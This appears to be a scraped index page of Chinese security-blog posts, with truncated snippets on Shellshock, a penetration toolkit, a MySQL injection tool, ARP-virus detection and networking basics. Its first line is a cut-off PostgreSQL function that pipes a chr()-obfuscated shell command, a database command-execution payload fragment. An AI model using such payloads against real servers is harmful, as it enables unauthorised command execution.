CREATE FUNCTION id() RETURNS text AS $aaa$open(FD,chr(108).chr(105).chr(32).chr(124));return join(ch...
WooYun-Zone
WooYun-Zone
网络安全
从语法解析角度分析Bash破壳漏洞
我们团队结合poc分析了解一下Bash的语法规则，从另外一个角度帮忙大家更好的了解bash以及shellshock漏洞。 漏洞说明 http://cve.mitre.org/cgi-bin/c...
使用CSS媒体查询和JavaScript判断浏览器设备类型的好方法教程
有无数的理由要求我们在任何时候都应该知道用户是使用的什么设备浏览我们的网站——宽屏，普通屏，平板，手机？知道这些特征，我们web应用的CSS和JavaScript才能同步做相应...
Seay信息安全博客
原创工具：Seay 2013渗透提权工具包V2.0下载 |
显示不全请点击全屏阅读 今天拿到了某安全公司的offer，下周一开始上班咯，加油 2013年快到了…这个工具包再更新一下，加了点小功能，翻新了下工具，只是把自己常用的东西集合在一起而...
[zone-Vigoss_Z]wordpress插件检测
zone:wordpress插件检测 暂时只有插件使用的检测 wordpress官方的插件有30000多,但是抓完去重,只有21000多个,不知道什么情况. 下载地址：wordpress插件检测.z...
一种可能的针对云端的监控
最近360的隐私事情闹得很火，也有很多人质疑360存在后门行为，我也觉得定期去下载一个文件并且执行的确是让人觉得蛋疼的事情，但是的确很多的软件都有这个功能，每次打dota就需要从服务器上更新点东西下来...
教你用命令行查找ARP病毒母机
如何能够快速检测定位出局域网中的ARP病毒电脑？ 面对着局域网中成百台电脑，一个一个地检测显然不是好办法。其实我们只要利用ARP病毒的基本原理：发送伪造的ARP欺骗广播，中毒电脑自身伪装成网关的特性，...
神兵利刃
SQLNuke:MYSQL load_file()函数注入工具
SQLNuke是一个功能强大而又简单的MYSQL load_file()函数注入工具。 在Mysql进行SQL注入攻击中，当你需要收集一些服务器的信息，你能想到的最好的方式是从load_file()函...
t-sql清空表数据的两种方式示例(truncate and delete)_MsSql
复制代码 代码如下:TRUNCATE TABLE (Transact-SQL) Removes all rows from a table without logging the individual...
系统文档
华为交换机VLAN间通信单臂路由
单臂路由描述 单臂路由（router-on-a-stick）是指在路由器的一个接口上通过配置子接口（或“逻辑接口”，并不存在真正物理接口）的方式，实现原来相互隔离的不同VLAN（虚拟局域...
